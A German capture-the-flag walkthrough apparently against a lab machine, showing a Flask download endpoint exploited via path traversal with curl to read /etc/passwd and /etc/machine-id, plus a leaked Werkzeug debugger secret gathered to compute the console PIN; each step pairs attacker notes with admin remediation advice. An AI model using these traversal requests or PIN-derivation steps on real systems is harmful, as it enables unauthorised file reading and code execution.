Bewertung: Mein erster Versuch, LFI auszunutzen, schlug wie erwartet fehl, da die Anwendung eine grundlegende Filterung implementiert, die Pfade, die mit / beginnen, blockiert. Die Analyse des Code-Snippets ist jedoch entscheidend. Sie zeigt exakt die Logik, die ich umgehen muss. Die Funktion os.path.join("/tmp", filename) ist der entscheidende Hinweis: Sie fügt /tmp/ vor den von mir bereitgestellten Dateinamen ein. Um Dateien außerhalb von /tmp zu lesen, muss ich Verzeichnis-Traversal-Techniken anwenden, wie z.B. ../../, und sicherstellen, dass mein Pfad *nicht* mit / beginnt, um den Filter zu umgehen.

Empfehlung (Pentester): Ich werde nun versuchen, die LFI-Schwachstelle mithilfe von Verzeichnis-Traversal (z.B. ../..) auszunutzen. Da der Pfad /tmp/ automatisch vorangestellt wird, muss ich den Pfad so konstruieren, dass er von /tmp/ aus zurück in das Wurzelverzeichnis navigiert und dann zum gewünschten Ziel führt. Der Pfad müsste also so etwas wie ../../../../etc/passwd sein, da ich von /tmp aus vier Verzeichnisebenen nach oben navigieren muss, um ins Wurzelverzeichnis / zu gelangen. Ich werde erneut /etc/passwd als Testdatei verwenden, da diese Datei auf fast jedem Linux-System existiert und leicht zu identifizierende Inhalte hat.
Empfehlung (Admin): Die Verwendung von os.path.join mit unbereinigter Benutzereingabe ist extrem gefährlich. Die startswith("/") Prüfung ist eine sehr schwache Validierung, die leicht durch Verzeichnis-Traversal-Angriffe umgangen werden kann (z.B. durch vorangestellte ../ Sequenzen oder absolute Pfade ohne führenden Slash). Die einzige sichere Methode ist die Verwendung einer strengen Whitelist für erlaubte Dateinamen oder das Erzwingen, dass nur Dateien innerhalb eines fest definierten, sicheren Verzeichnisses heruntergeladen werden können, nachdem der übergebene Dateiname sorgfältig bereinigt wurde, um jegliche Pfadtrennzeichen zu entfernen.

view-source:http://leet.hmv:7777/download?filename=/etc/passwd

 ValueError: Parameter 'filename' invalid or missing.
 // Werkzeug Debugger

  < /scrpt >
  < /scrpt >

  var CONSOLE_MODE = false,
 EVALEX = true,
          EVALEX_TRUSTED = false,
 SECRET = "htECep76doxQyhttVoLb";

  ValueError

  Traceback  (most recent call last)

  

This is the Copy/Paste friendly version of the traceback.

The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error. If you enable JavaScript you can also use additional features such as code execution (if the evalex feature is enabled), automatic pasting of the exceptions and much more. Brought to you by DON'T PANIC, your friendly Werkzeug powered traceback interpreter.

Console Locked

The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server.

PIN: Traceback (most recent call last): File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1488, in __call__ return self.wsgi_app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1466, in wsgi_app response = self.handle_exception(e) ^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1463, in wsgi_app response = self.full_dispatch_request() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 872, in full_dispatch_request rv = self.handle_user_exception(e) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 870, in full_dispatch_request rv = self.dispatch_request() ^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 855, in dispatch_request return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/project/app.py", line 84, in download_file raise ValueError("Parameter 'filename' invalid or missing.") ValueError: Parameter 'filename' invalid or missing.

Analyse: Ich habe den 'view-source:' Präfix im Browser verwendet, um den rohen HTML-Quellcode der Fehlerseite zu sehen. Dies ist ein wichtiger Schritt, da der Debugger oft zusätzliche Informationen im HTML-Quellcode versteckt oder JavaScript-Code enthält, der im gerenderten Browserfenster nicht direkt sichtbar ist. Der Quellcode bestätigt das Vorhandensein des Werkzeug-Debuggers und offenbart kritische Informationen. Ich sehe Referenzen auf debugger.js und console.png. Besonders interessant sind die JavaScript-Variablen: EVALEX = true (was auf die Möglichkeit der Code-Ausführung hindeutet) und vor allem SECRET = "htECep76doxQyhttVoLb". Dieses 'SECRET' ist oft ein Bestandteil, der zusammen mit anderen Systeminformationen zur Berechnung des PINs für die Debugger-Konsole verwendet wird. Für Laien: Ich habe 'hinter die Kulissen' der Fehlerseite geschaut und im 'Bauplan' (dem Quellcode) geheime Informationen (einen 'Schlüssel' namens SECRET) gefunden, die mir helfen könnten, die gesperrte Konsole zu öffnen. Für Experten: Das Werkzeug-Debugger-PIN wird typischerweise aus einer Kombination von Benutzername, Modulname, Anwendungsattributname, absolutem Pfad zur Anwendungsdatei, MAC-Adresse und Machine-ID (oder Boot-ID) berechnet. Das gefundene SECRET ist oft ein zusätzlicher Salzwert oder ein Hash, der in neuere Versionen des Debuggers integriert wurde, um die PIN-Berechnung zu erschweren, liefert aber selbst einen wichtigen Baustein zur PIN-Berechnung.

Bewertung: Das Auffinden des SECRET-Wertes im HTML-Quellcode ist ein Durchbruch. Zusammen mit den bereits aus dem Traceback gewonnenen Informationen (Pfad zu app.py, Hinweis auf Flask/Werkzeug) und den aus dem Nmap-Scan gewonnenen Systeminformationen (MAC-Adresse, potenzieller OS-Typ) habe ich nun die meisten der notwendigen Bausteine, um den PIN für die Debugger-Konsole zu berechnen. Die EVALEX = true Variable bestätigt zudem, dass die Konsole nach dem Entsperren Code-Ausführung erlaubt, was der Weg zum Initial Access sein wird.

Empfehlung (Pentester): Mein nächster Schritt ist die Sammlung aller notwendigen Informationen zur PIN-Berechnung (Username, Modulname, App-Name, Pfad zur App-Datei, MAC-Adresse, Machine-ID/Boot-ID und das gefundene SECRET). Dann werde ich ein Skript verwenden oder erstellen, um den PIN zu berechnen. Mit dem berechneten PIN kann ich versuchen, die Werkzeug-Debugger-Konsole zu entsperren.
Empfehlung (Admin): Stellen Sie sicher, dass die Werkzeug-Debugger-Konsole (und ähnliche Debug-Tools) niemals in Produktionsumgebungen aktiviert oder öffentlich zugänglich ist. Wenn sie unbedingt benötigt wird, stellen Sie sicher, dass der Zugriff stark eingeschränkt ist (z.B. nur von bestimmten internen IP-Adressen) und dass die PIN-Berechnung nicht durch offen zugängliche Systeminformationen ermöglicht wird. Vermeiden Sie es, sensitive Informationen wie das Debugger-SECRET im öffentlichen HTML-Quellcode preiszugeben.

alle folgenden seiten werden ständig mit einer fehlermeldung nicht gefunden nicht angezeigt, wenn ich dann mehrmals reloade und einmal vor und zurück gehe, also vorherige und aktuelle seite mache, läd die seite und ich kann den sourcecode und den seiteninhalt sehen, sieht für mich stark nach racecoondition aus

Analyse: Während meiner Versuche, die Fehlerseite konsistent aufzurufen und ihren Quellcode zu analysieren, fiel mir auf, dass der erste Versuch oft zu einer Verbindungsfehlermeldung im Browser führte. Erst nach mehrmaligem Neuladen und der 'Vor- und Zurück'-Navigation im Browser lud die Seite korrekt und zeigte den Debugger-Traceback an. Dieses Verhalten ist sehr ungewöhnlich und deutet auf ein timing-bezogenes Problem auf dem Server hin. Es sieht stark nach einer Race Condition oder einem ähnlichen nicht-deterministischen Verhalten aus, bei dem die Fehlerbehandlung oder das Laden des Debuggers nur unter bestimmten zeitlichen Bedingungen korrekt funktioniert. Für Laien: Es war, als ob der Server 'Stimmungsschwankungen' hatte – manchmal zeigte er mir den Fehler sofort, manchmal musste ich ihn 'überreden', indem ich die Seite mehrmals neu lud, bis er mir die wichtigen Informationen zeigte. Das ist kein normales Verhalten für eine Webseite und deutet auf ein tieferliegendes Problem hin. Für Experten: Eine Race Condition tritt auf, wenn die Ausgabe oder das Verhalten eines Systems von der Reihenfolge oder dem Timing unkontrollierbarer Ereignisse (wie Netzwerkverzögerungen, Thread-Scheduling) abhängt. In diesem Fall könnte das Timing der Fehlerbehandlung im Zusammenspiel mit dem Werkzeug-Debugger dazu führen, dass die Seite beim ersten Versuch abbricht, während spätere Versuche, die vielleicht leicht anders getimt sind, den Debugger korrekt initiieren und den Traceback liefern.

Bewertung: Die Beobachtung dieser Race Condition ist zwar kein direkter Exploit, aber sie ist wichtig für das Verständnis des Systemverhaltens und erklärt, warum der Zugriff auf die Debugger-Informationen nicht immer zuverlässig war. Es bestätigt die Instabilität oder das ungewöhnliche Verhalten des fehlerhaften Endpunkts und unterstreicht die Tatsache, dass der Debugger-Modus auf eine Weise aktiviert ist, die nicht für Stabilität oder Sicherheit ausgelegt ist.

Empfehlung (Pentester): Während die Race Condition meine Enumeration kurzfristig erschwerte, konnte ich sie durch wiederholte Versuche überwinden. Für zukünftige Interaktionen mit diesem Endpunkt werde ich mir dieses Verhalten merken und gegebenenfalls Skripte verwenden, die robust gegenüber solchen Timing-Problemen sind.
Empfehlung (Admin): Untersuchen Sie das beobachtete 'Race Condition'-ähnliche Verhalten auf dem /download-Endpunkt und im Zusammenhang mit dem Debugger. Solche nicht-deterministischen Fehler können auf tieferliegende Probleme in der Anwendungslogik oder der Serverkonfiguration hinweisen und sollten behoben werden, um Stabilität und Sicherheit zu gewährleisten. Deaktivieren Sie den Debugger vollständig, um dieses Problem zu eliminieren.

http://leet.hmv:7777/download?cmd=/etc/passwd

Fehler: Verbindung fehlgeschlagen

Firefox kann keine Verbindung zu dem Server unter leet.hmv:7777 aufbauen.

    Die Website könnte vorübergehend nicht erreichbar sein, versuchen Sie es bitte später nochmals.
    Wenn Sie auch keine andere Website aufrufen können, überprüfen Sie bitte die Netzwerk-/Internetverbindung.
    Wenn Ihr Computer oder Netzwerk von einer Firewall oder einem Proxy geschützt wird, stellen Sie bitte sicher, dass Firefox auf das Internet zugreifen darf.

Analyse: Dieser Code-Block zeigt eine spezifische Fehlermeldung im Firefox-Browser, als ich versuchte, die URL http://leet.hmv:7777/download?cmd=/etc/passwd aufzurufen. Interessanterweise verwendete ich hier den Parameter cmd anstelle von filename, basierend auf einer anfänglichen Hypothese, dass vielleicht ein anderer Parameter akzeptiert wird, oder um das Systemverhalten weiter zu testen. Die Fehlermeldung "Fehler: Verbindung fehlgeschlagen" ist eine allgemeine Browser-Meldung, die auftritt, wenn der Browser keine Verbindung zum angegebenen Server und Port herstellen kann. Sie unterscheidet sich von der vorherigen Fehlermeldung, die einen Server-internen Fehler (500) und einen Traceback zurückgab. Für Laien: Mein Internet-Browser konnte keine Verbindung zu der Adresse herstellen, die ich eingegeben habe, nicht weil das Programm auf dem Server kaputt war, sondern weil er die Verbindung nicht aufbauen konnte, so als wäre der Computer offline oder eine Firewall würde blockieren. Für Experten: Eine 'Verbindung fehlgeschlagen'-Meldung auf Transport-Ebene (TCP) deutet darauf hin, dass entweder der Dienst auf dem Zielport nicht lauscht, eine Firewall die Verbindung blockiert, oder der Host selbst nicht erreichbar ist. Die Tatsache, dass ich kurz zuvor 500er Fehler erhalten habe, die eine Antwort vom Server bedeuteten, während dieser Versuch fehlschlug, könnte auf das Timing-Problem (Race Condition) hindeuten oder darauf, dass die Verwendung des falschen Parameters cmd zu einem anderen Fehlerpfad führte, der die Verbindung sofort beendete, bevor der Debugger eine Antwort senden konnte.

Bewertung: Dieses Ergebnis, eine Verbindungsfehlermeldung statt eines 500er Fehlers mit Traceback, ist im Kontext der beobachteten Race Condition zu sehen. Es ist wahrscheinlich kein neues Problem, sondern eine Manifestation desselben Timing-Problems oder einer anderen Fehlerbehandlung, die durch den ungültigen Parameter cmd ausgelöst wurde. Es bestätigt erneut die Instabilität des fehlerhaften Endpunkts und die Notwendigkeit, meine Anfragen präzise zu gestalten (also den richtigen Parameter filename zu verwenden), um den gewünschten Debugger-Traceback zu erhalten.

Empfehlung (Pentester): Ich werde mich weiterhin auf die Ausnutzung des /download-Endpunkts mit dem korrekten Parameter filename und Verzeichnis-Traversal konzentrieren. Die Verwendung anderer Parameter führte hier nicht zum gewünschten Ergebnis. Ich muss mit dem potenziell unzuverlässigen Verhalten des Endpunkts aufgrund der Race Condition rechnen.
Empfehlung (Admin): Analysieren Sie, warum unterschiedliche Anfragen an denselben Endpunkt (hier mit ?cmd= vs. ?filename=) zu unterschiedlichen Fehlermeldungen (Verbindung fehlgeschlagen vs. 500 Internal Error) führen. Dieses inkonsistente Verhalten erschwert die Fehlersuche und kann ein Indikator für unsichere Fehlerbehandlungsmechanismen sein. Standardisieren Sie die Fehlerantworten der Anwendung.

http://leet.hmv:7777/download?cmd=/etc/passwd

ValueError

ValueError: Parameter 'filename' invalid or missing.
Traceback (most recent call last)

    File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1488, in __call__

    return self.wsgi_app(environ, start_response)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1466, in wsgi_app

    response = self.handle_exception(e)
               ^^^^^^^^^^^^^^^^^^^^^^^^

    File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1463, in wsgi_app

    response = self.full_dispatch_request()
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 872, in full_dispatch_request

    rv = self.handle_user_exception(e)
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 870, in full_dispatch_request

    rv = self.dispatch_request()
         ^^^^^^^^^^^^^^^^^^^^^^^

    File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 855, in dispatch_request

    return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)  # type: ignore[no-any-return]
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    File "/opt/project/app.py", line 84, in download_file

    raise ValueError("Parameter 'filename' invalid or missing.")
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    ValueError: Parameter 'filename' invalid or missing.

The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error.

To switch between the interactive traceback and the plaintext one, you can click on the "Traceback" headline. From the text traceback you can also create a paste of it. For code execution mouse-over the frame you want to debug and click on the console icon on the right side.

You can execute arbitrary Python code in the stack frames and there are some extra helpers available for introspection:

    dump() shows all variables in the frame
    dump(obj) dumps all that's known about the object

Brought to you by DON'T PANIC, your friendly Werkzeug powered traceback interpreter.

Analyse: Nach der Beobachtung der 'Race Condition' habe ich die URL http://leet.hmv:7777/download?cmd=/etc/passwd erneut aufgerufen und diesmal den 'Vor- und Zurück'-Prozess im Browser angewendet, um die Debugger-Ausgabe zu erzwingen. Wie erwartet, zeigte die Seite nach diesem Prozess wieder den detaillierten Traceback, den ich zuvor gesehen hatte. Dies bestätigt meine Hypothese, dass das initiale 'Verbindung fehlgeschlagen'-Problem auf einem Timing-Aspekt des Debuggers beruht und durch Manipulation des Browser-Verhaltens umgangen werden kann. Der Traceback ist identisch mit dem ersten, was die Konsistenz des Fehlers bei Verwendung des falschen Parameters cmd (statt filename) unterstreicht, sobald der Debugger korrekt lädt. Für Laien: Durch das 'Überlisten' des Servers mit mehrmaligem Neuladen konnte ich erzwingen, dass er mir wieder die detaillierte Fehlermeldung zeigt, die ich brauchte, um weiterzukommen. Das zeigte mir, dass das Problem auf dem Server lag und ich einen Weg gefunden hatte, es zu umgehen. Für Experten: Die reproduzierbare Rückkehr des Debugger-Tracebacks nach Anwendung des 'Race Condition'-Workarounds bestätigt sowohl das Vorhandensein des Timings-Problems als auch die Zuverlässigkeit der Debugger-Ausgabe, sobald sie einmal triggert. Es ist unwahrscheinlich, dass der Parametername selbst eine Rolle spielt, solange er nicht 'filename' ist, da jeder unbekannte Parameter wahrscheinlich denselben Fehlerpfad auslöst, der den Debugger aktiviert.

Bewertung: Die Fähigkeit, den Debugger-Traceback konsistent durch den 'Race Condition'-Workaround zu erhalten, ist ein wichtiger Erfolg. Es bedeutet, dass ich zuverlässig auf die wertvollen Informationen zugreifen kann, die der Debugger preisgibt (wie den SECRET-Wert und die Pfade), und somit die notwendigen Informationen zur PIN-Berechnung sammeln kann. Das Problem mit dem falschen Parameter (cmd) ist zweitrangig, solange ich weiß, dass der korrekte Parameter filename heißt und wie die Umgehung für die Debugger-Anzeige funktioniert.

Empfehlung (Pentester): Ich werde nun gezielt den Parameter filename verwenden und bei Bedarf den beobachteten 'Race Condition'-Workaround anwenden, um die LFI-Schwachstelle auszunutzen und die für die PIN-Berechnung benötigten Systeminformationen zu extrahieren.
Empfehlung (Admin): Die beobachtete 'Race Condition' ist ein ernsthaftes Problem, das behoben werden muss. Es ermöglicht einem Angreifer, Debug-Informationen zu erhalten, die eigentlich verborgen bleiben sollten. Eine gründliche Code-Überprüfung der Fehlerbehandlung im Zusammenhang mit dem Werkzeug-Debugger ist dringend erforderlich, zusätzlich zur Deaktivierung des Debuggers in der Produktion.

┌──(root㉿CCat)-[~] └─# curl "http://leet.hmv:7777/download?filename=../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
riva:x:1000:1000:,,,:/home/riva:/bin/bash

Analyse: Mit dem Wissen um den korrekten Parameternamen (filename) und der Umgehung der Path-Validation durch Verzeichnis-Traversal (../../../../, um von /tmp/ nach / zu navigieren) habe ich nun den Befehl curl "http://leet.hmv:7777/download?filename=../../../../etc/passwd" ausgeführt. Dieser Befehl sendet eine HTTP-GET-Anfrage an den /download-Endpunkt mit dem modifizierten filename-Parameter. Das Ziel ist es, die Datei /etc/passwd zu lesen, die eine Liste der Benutzerkonten auf dem System enthält. Die Ausgabe im Terminal zeigt den vollständigen Inhalt der Datei /etc/passwd. Für Laien: Ich habe die 'Download'-Funktion der Webseite ausgetrickst, indem ich ihr einen speziellen Dateinamen gegeben habe, der sie dazu bringt, nicht eine Datei aus ihrem eigenen Ordner, sondern die Systemdatei mit der Benutzerliste (/etc/passwd) herunterzuladen und mir anzuzeigen. Für Experten: Der erfolgreiche Zugriff auf /etc/passwd mittels ../../../../etc/passwd ist der definitive Beweis für eine LFI-Schwachstelle. Dies ermöglicht einem Angreifer das Lesen beliebiger Dateien auf dem System, für die der Webserver-Prozess Leserechte hat. Dies ist eine kritische Schwachstelle, die oft zur Offenlegung von Konfigurationsdateien, Quellcode oder Benutzerinformationen genutzt werden kann.

Bewertung: Die LFI-Schwachstelle ist erfolgreich ausgenutzt. Ich kann beliebige Dateien lesen. Der Inhalt von /etc/passwd liefert eine Liste aller Benutzerkonten auf dem System, ihrer User-IDs (UIDs), Group-IDs (GIDs), Home-Verzeichnisse und Standard-Shells. Besonders interessant sind die Benutzer root (UID 0, /root Home, /bin/bash Shell), www-data (UID 33, der wahrscheinlich das Webserver-Skript ausführt) und riva (UID 1000, /home/riva Home, /bin/bash Shell). Der Benutzer riva mit einer interaktiven Shell ist ein potenzielles Ziel für den Initial Access.

Empfehlung (Pentester): Mit der LFI-Schwachstelle kann ich nun weitere Systemdateien lesen, die für die PIN-Berechnung des Werkzeug-Debuggers relevant sind (z.B. /etc/machine-id). Ich werde auch nach weiteren Konfigurationsdateien oder Anmeldeinformationen suchen, die über LFI zugänglich sind. Der Benutzer riva mit einer Bash-Shell ist ein vielversprechendes Ziel für den Initial Access.
Empfehlung (Admin): Die LFI-Schwachstelle muss umgehend behoben werden. Jede Form der direkten Einbindung von Benutzereingaben in Dateipfade ist unsicher. Implementieren Sie eine strikte Validierung, die nur das Herunterladen von Dateien aus einem sicheren, dedizierten Verzeichnis erlaubt und jegliche Pfadtrennzeichen (/, \, ..) in der Benutzereingabe entfernt oder ablehnt. Die Offenlegung von /etc/passwd erlaubt Angreifern, valide Benutzernamen für Brute-Force-Angriffe auf Dienste wie SSH zu sammeln.

┌──(root㉿CCat)-[~] └─# curl "http://leet.hmv:7777/download?filename=../../../../etc/passwd" -s| grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
riva:x:1000:1000:,,,:/home/riva:/bin/bash

Analyse: Um die Ergebnisse des /etc/passwd-Lesens zu verfeinern und schnell Benutzer mit interaktiven Shells zu identifizieren, habe ich den vorherigen curl-Befehl erweitert, indem ich die Ausgabe an grep sh weiterleite. Dies filtert die Zeilen in /etc/passwd, die die Zeichenkette "sh" enthalten. Da Standard-Shells wie /bin/bash, /bin/sh, /bin/zsh etc. "sh" im Namen enthalten, ist dies eine schnelle Methode, Benutzer zu finden, die sich potenziell interaktiv am System anmelden können. Der -s (silent) Parameter bei curl unterdrückt die Fortschrittsanzeige, damit die Ausgabe direkt an grep übergeben werden kann. Für Laien: Ich habe die Benutzerliste (/etc/passwd) nach Einträgen durchsucht, die darauf hindeuten, dass der Benutzer sich wie gewohnt am Computer anmelden und Befehle ausführen kann, also eine 'Shell' hat. Für Experten: Das Filtern von /etc/passwd nach Shell-Einträgen ist eine Standardtechnik im Pentesting, um schnell potenzielle Anmeldeziele zu identifizieren. Benutzer mit /sbin/nologin oder ähnlichen Non-Interactive-Shells sind in der Regel keine direkten Anmeldeziele.

Bewertung: Das Ergebnis zeigt die Benutzer root, sshd und riva. root hat natürlich /bin/bash. sshd hat /usr/sbin/nologin, was bedeutet, dass dies ein Systembenutzer ist, der sich nicht interaktiv über SSH anmelden kann. riva hat ebenfalls /bin/bash, was bestätigt, dass dies ein normaler Benutzer ist, der sich interaktiv am System anmelden kann. Der Benutzer riva ist somit ein klares Ziel für den Initial Access, falls Anmeldedaten gefunden werden.

Empfehlung (Pentester): Der Benutzername riva ist nun als primäres Ziel für den Initial Access identifiziert. Ich werde alle gefundenen Anmeldedaten oder Schwachstellen nutzen, um mich als Benutzer riva am System anzumelden, wahrscheinlich über SSH, da dieser Dienst offen ist.
Empfehlung (Admin): Überprüfen Sie, welche Benutzerkonten eine interaktive Shell benötigen. Systemkonten oder Dienstkonten sollten in der Regel keine interaktive Shell haben (z.B. /sbin/nologin). Minimeren Sie die Anzahl der Benutzer mit interaktiven Shells auf das Notwendigste, um die Angriffsfläche zu reduzieren.

Wir haben jetzt fast alle Puzzleteile zusammen, um den PIN zu berechnen. Lass uns mal eine Checkliste machen:

Nächster Schritt: Die Machine-ID holen

Jetzt musst du die LFI-Schwachstelle nochmal nutzen, um die machine-id des Systems auszulesen.

Analyse: Basierend auf der Analyse des Werkzeug-Debuggers und der Recherche zur PIN-Berechnung habe ich hier eine Checkliste der benötigten Informationen erstellt. Die meisten Teile (Username, Modulname, App-Name, Pfad zur App-Datei, MAC-Adresse) habe ich bereits aus den vorherigen Schritten (Nmap-Scan, Traceback-Analyse, /etc/passwd) gesammelt. Das einzig fehlende Puzzleteil für die typische PIN-Berechnung ist die Machine-ID des Systems. Die Machine-ID ist eine eindeutige Kennung, die bei der Installation eines Linux-Systems generiert wird und in der Datei /etc/machine-id gespeichert ist. Glücklicherweise habe ich gerade eine LFI-Schwachstelle entdeckt, die es mir erlaubt, beliebige Dateien zu lesen. Für Laien: Um das 'Geheimnis' (den PIN) zu knacken, das die Konsole schützt, brauche ich mehrere Informationen über den Computer, die ich bisher gesammelt habe, wie den Benutzernamen, den Pfad zum Programm und die 'Adresse' (MAC-Adresse). Das letzte fehlende Stück ist die 'Ausweisnummer' des Computers (Machine-ID). Da ich jede Datei lesen kann, kann ich diese Information direkt aus der entsprechenden Systemdatei holen. Für Experten: Die PIN-Berechnung des Werkzeug-Debuggers nutzt hashes basierend auf festen Systeminformationen, die sich normalerweise nicht ändern. Das Sammeln dieser Informationen über LFI ist eine gängige Methode, um den Debugger-PIN in solchen Szenarien zu umgehen. Die Machine-ID ist ein Standardbestandteil dieser Berechnung.

Bewertung: Das genaue Identifizieren des fehlenden Teils (Machine-ID) und das Wissen, wo dieses im Dateisystem zu finden ist (/etc/machine-id), ist ein klares Zeichen für einen zielgerichteten Ansatz. Die LFI-Schwachstelle ist das perfekte Werkzeug, um diese Information zu erhalten. Die Checkliste dient als klarer Plan für die nächsten Schritte.

Empfehlung (Pentester): Mein unmittelbarer nächster Schritt ist die Nutzung der LFI-Schwachstelle, um den Inhalt von /etc/machine-id auszulesen. Sobald ich diesen Wert habe, verfüge ich über alle notwendigen Komponenten, um den PIN für die Werkzeug-Debugger-Konsole zu berechnen.
Empfehlung (Admin): Stellen Sie sicher, dass sensible Systemdateien wie /etc/machine-id, /etc/shadow oder Konfigurationsdateien niemals über Webanwendungen zugänglich sind, selbst wenn dies indirekt über LFI-Schwachstellen geschieht. Die Machine-ID sollte als potenziell sensitive Information behandelt werden, die nicht öffentlich zugänglich sein darf, insbesondere wenn sie zur Ableitung anderer Geheimnisse (wie Debugger-PINs) verwendet werden kann.

┌──(root㉿CCat)-[~] └─# curl "http://leet.hmv:7777/download?filename=../../../../etc/machine-id" -s
f6791f240ce6407ea271e86b78ac3bdb

Analyse: Um die fehlende Machine-ID zu erhalten, nutze ich erneut die ausgenutzte LFI-Schwachstelle. Ich sende eine curl-Anfrage an den /download-Endpunkt mit dem Parameter filename=../../../../etc/machine-id. Wie zuvor navigiere ich mit Verzeichnis-Traversal von /tmp/ zurück ins Wurzelverzeichnis und gebe dann den Pfad zur Datei /etc/machine-id an. Der -s Parameter sorgt dafür, dass nur der Inhalt der Datei ausgegeben wird. Die Ausgabe zeigt eine lange hexadezimale Zeichenkette: f6791f240ce6407ea271e86b78ac3bdb. Für Laien: Ich habe die 'Download'-Funktion wieder dazu gebracht, mir eine bestimmte Systemdatei zu zeigen, diesmal die Datei, die die 'Ausweisnummer' des Computers enthält. Diese Nummer habe ich erfolgreich auslesen können. Für Experten: Der erfolgreiche Zugriff auf /etc/machine-id bestätigt die volle Lesefähigkeit über die LFI-Schwachstelle. Der zurückgegebene Wert ist die systemspezifische Machine-ID, die nun als weiterer Baustein für die PIN-Berechnung zur Verfügung steht.

Bewertung: Die Machine-ID f6791f240ce6407ea271e86b78ac3bdb wurde erfolgreich extrahiert. Damit habe ich nun alle erforderlichen Systeminformationen gesammelt, die typischerweise für die Berechnung des Werkzeug-Debugger-PINs benötigt werden: Username, Modulname, App-Name, Pfad zur App-Datei, MAC-Adresse und Machine-ID. Ich bin nun bereit, den PIN zu berechnen und den Initial Access zur Debugger-Konsole zu versuchen.

Empfehlung (Pentester): Alle notwendigen Informationen zur PIN-Berechnung liegen vor. Der nächste Schritt ist die Implementierung der PIN-Berechnungslogik (basierend auf der Werkzeug-Implementierung) unter Verwendung der gesammelten Daten (einschließlich des zuvor gefundenen SECRETS) und die Anwendung des berechneten PINs zur Entsperrung der Debugger-Konsole.
Empfehlung (Admin): Stellen Sie sicher, dass die LFI-Schwachstelle behoben ist, um das Auslesen sensibler Systemdateien zu verhindern. Die Offenlegung der Machine-ID kann in Kombination mit anderen Informationen ein Risiko darstellen.

Checkliste für den finalen Schlag:

Analyse: Dies ist die aktualisierte Checkliste aller benötigten Informationen für die Werkzeug-Debugger-PIN-Berechnung, nachdem ich die Machine-ID erfolgreich ausgelesen habe. Die Liste enthält nun alle erforderlichen Elemente: den Benutzernamen (riva), den Modulnamen (flask.app), den App-Namen (Flask), den Pfad zur App-Datei (/opt/project/app.py), die MAC-Adresse (hier schon in ihre Integer-Form umgerechnet: 1407391932351, obwohl die Rohform 08:00:27:8E:D7:37 aus Nmap stammt) und die Machine-ID (f6791f240ce6407ea271e86b78ac3bdb). Alle Punkte sind nun als 'erledigt' markiert. Für Laien: Ich habe jetzt alle 'Zutaten' gesammelt, die ich brauche, um das 'Rezept' (den PIN) für die gesperrte Konsole 'nachzukochen'. Für Experten: Die vollständige Sammlung dieser spezifischen Systeminformationen ermöglicht die deterministische Nachbildung der PIN-Berechnungslogik des Werkzeug-Debuggers. Beachte, dass die MAC-Adresse als Integer-Wert benötigt wird, was eine einfache Umwandlung erfordert.

Bewertung: Das Vorhandensein aller notwendigen Informationen ist ein kritischer Erfolgsfaktor. Dies ist der letzte Schritt vor der eigentlichen PIN-Berechnung. Der gesamte Prozess von der anfänglichen Enumeration über die LFI-Ausnutzung zur Informationsbeschaffung war zielgerichtet und erfolgreich. Ich bin nun in der Lage, den PIN offline zu berechnen.

